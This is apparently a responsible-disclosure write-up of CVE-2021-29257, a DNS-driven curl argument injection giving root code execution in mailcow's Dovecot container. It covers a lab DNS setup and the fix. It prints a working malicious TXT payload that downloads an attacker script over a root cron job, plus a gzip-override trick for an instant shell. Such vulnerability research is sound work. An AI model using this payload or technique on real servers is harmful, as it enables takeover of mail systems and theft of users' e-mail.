Background

As so often in life, you can search for things for months without success; then later they fall into your hands without further ado. It was the same with this vulnerability: after months of my servers fuzzing various open source software, the vulnerability described in this post just “ran into me” by looking onto htop closely.

Objective

mailcow: dockerized is an open source groupware/email suite based on docker. mailcow relies on many well known and long used components, which in combination result in an all around carefree email server. Each container represents a single application, connected in a bridged network.

Mailcow is a turnkey solution for hosting your own e-mail server. It’s a bundle of different preconfigured and tied together open-source software used to host e-mail services like Dovecot and Postfix.

Timeline

  • XX-01-2021: Discovery of vulnerabilities in lab environment
  • XX-02-2021: PoC creation in lab environment, initial writeup
  • 26-03-2021: Disclosure towards The Infrastructure Company GmbH
  • 26-03-2021: Assignment of CVE
  • 26-03-2021: Release of a fix via GitHub

Lab Setup

The vulnerability can only be exploited if you control DNS, e.g. if you are in a Machine in the Middle scenario or you happen to operate an upstream DNS server. The Evaluation section above describes the constraints further.

To set up your lab accordingly, I’d recommend you set up your lab like this:

Firewall VM

This VM needs little to no hardware to operate:

  • NIC 1: connected to the hypervisor network (10.13.37.42/24)
  • NIC 2: connected to the Mailcow VM (10.0.1.1/24)
  • 256M RAM, 5GB HDD, 1 Core is more than enough
  • Set it up to NAT traffic from NIC 2 to NIC 1

Install CoreDNS (or any other DNS server of your choice) and use this Corefile:

# Corefile
.:53 {
	bind 10.0.1.1
	log
	reload 2s 2s
	file db.heinlein-support.de heinlein-support.de {
		reload 1s
	}
	forward . 1.1.1.1:53 1.0.0.1:53
}

Create this Zonefile named db.heinlein-support.de next to the Corefile:

# db.heinlein-support.de
$ORIGIN heinlein-support.de.
@	0	IN	SOA	invalid invalid 2342 0 0 0 0

1.4.3.spamassassin	0	IN	TXT	" -o /dev/null http://10.13.37.1/curl-poc.sh -o /usr/local/bin/sa-rules.sh file:///dev/null"

The exploit will be discussed later in the article. Just appreciate the mix of Zonefile and Bash syntax for the moment!

To rewrite DNS traffic passing from NIC 2 to NIC 1, to avoid that the Mailcow VM talks to a different upstream DNS server, use this iptables snippet:

iptables -t nat -A PREROUTING -p tcp --dport 53 -j DNAT --to-destination 10.0.1.1:53
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination 10.0.1.1:53

Mailcow VM

This VM needs to power all docker containers included in Mailcow:

  • NIC: connected to the Firewall network (10.0.1.2/24)
  • 2G RAM, 10GB HDD, 2 Cores
  • Install Docker and mailcow-dockerized (must be pre commit a02425d)

Vulnerability

CVE-2021-29257

Conditional Remote Code Execution as root in the Dovecot container of Mailcow.

Evaluation

CVSS v3.1: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H = Base Score 8.3

While a Remote Code Execution as Root user is the most critical security issue a software can have, keep in mind that the attack vector is kind of complicated here. An attacker can exploit it remotely but needs to be in one of the following situations:

  • the attacker controls the preferred DNS server of the victim, OR
  • the attacker is in a Machine in the Middle scenario to the victim, OR
  • the attacker is in hold of the domain heinlein-support.de, e.g. as administrator, OR
  • the attacker injects a spoofed DNS entry for heinlein-support.de, e.g. via DNS cache poisoning, OR
  • the attacker is able to answer faster than the preferred DNS server of the victim - it’s UDP after all.

The latter may be the case e.g. if the attacker is in hold of a router or has a host on the same switched network.

This renders most of the Mailcow installations out there unexploitable for the majority of attackers. Still, e.g. the administrator over at Heinlein Support could gain root command execution over night on all Mailcow instances worldwide.

Description

By providing a malicious DNS response it is possible for an attacker to execute commands as root user inside the Dovecot container of Mailcow, giving the attacker access to all e-mails on the server and the database of Mailcow.

The traces of this vulnerability show up in htop: htop

As it can be seen in the screenshot, the output of dig is copied directly into a curl command (where this injection only shows up because the VM didn’t have internet access, means the dig call failed). This means, an attacker able to control the output/DNS response is able to inject code. When looking through Mailcow’s source code, the issue causing this behavior was quickly identified to originate from a script in the Dovecot docker container, more precise the script sa-rules.sh. This script is called every day at 1:30AM (local time of the server) via a cronjob with root permissions, and looks like this:

# From sa-rules.sh, L16
curl --connect-timeout 15 --retry 10 --max-time 30 http://www.spamassassin.heinlein-support.de/$(dig txt 1.4.3.spamassassin.heinlein-support.de +short | tr -d '"').tar.gz --output /tmp/sa-rules-heinlein.tar.gz

Let’s dissect the enclosed dig call:

  • txt means that a DNS TXT record is requested
  • 1.4.3.spamassassin.heinlein-support.de is the requested domain
  • +short means that dig should only return the value of the record, without further debug output
  • tr -d '"' cuts away quotation characters

The idea of this command is to return the current version of a set of spam rules provided by the company Heinlein Support. With that version number, the current spam rule set is downloaded by the curl command.

If dig returns the version as intended, the command looks like this:

curl --connect-timeout 15 --retry 10 --max-time 30 http://www.spamassassin.heinlein-support.de/2034.tar.gz --output /tmp/sa-rules-heinlein.tar.gz

Now, the curl call can be broken down:

  • --connect-timeout, --retry and --max-time are kinda trivial
  • http://www.spamassassin.heinlein-support.de/2034.tar.gz is the URL to get
  • --output specifies the location where the contents of 2034.tar.gz will be written to

Later in that script, the downloaded .tar.gz archive gets unpacked and further processed - which can also be ignored for the moment.

Exploitation

It is not possible to simply enter a string like ; ./some-reverse-shell # as in other OSi cases due to the way bash works its way through inline arguments; but we can provide additional arguments for curl. And because curl can handle multiple URLs and multiple output files (one per entered URL), we can download some (Proof-of-Concept) code into the Dovecot container by providing the following value via DNS: " -o /dev/null http://10.13.37.1/curl-poc.sh -o /usr/local/bin/sa-rules.sh file:///dev/null" Let’s walk over this:

  • -o /dev/null specifies the output path for the first URL (which is the already present URL http://www.spamassassin.heinlein-support.de)
  • http://10.13.37.1/curl-poc.sh specifies the second (attacker-controlled) URL. In this case, it’s just a simple HTTP server distributing a PoC, served by one of my lab servers. YMMV!
  • -o /usr/local/bin/sa-rules.sh specifies the output path for the second URL. The output file needs to be a script which already has the execution bit set and is called periodically; while you are free to (over-)write whatever you want, sa-rules.sh itself is actually a good choice, as it has the execute permission bit set and gets called everyday thanks to cron.
  • file:///dev/null specifies the third URL. It’s required that we enter an additional URL because later in the curl call, there is another output location specified (the one included within the command itself, --output /tmp/sa-rules-heinlein.tar.gz). As we cannot overwrite the last output location, we simply define that “dummy” URL. As soon as the curl command finishes, the script sa-rules.sh is overwritten with the provided Proof-of-Concept script. This means at the next execution time (1:30AM local time), the PoC code will be called with root permissions. If you belong to those impatient hackers asking for a root shell here and now, not able to wait for 1:30AM, you could also choose to override gzip, as it gets called in the sa-rules.sh script right after downloading the PoC. You’ll get a shell right away, but as it will most likely break other processes relying on gzip, it’s not the most stealthy method either.

Mitigation

The Mailcow development team fixed this on the same day of disclosure, which is really awesome! You can find the fix on GitHub. It now filters the TXT response for numbers.

Simply update your Mailcow instance.

Conclusion

Keep an eye on your htop, it may hint you towards injection attacks.

Avoid using unfiltered third-party controlled input at all cost.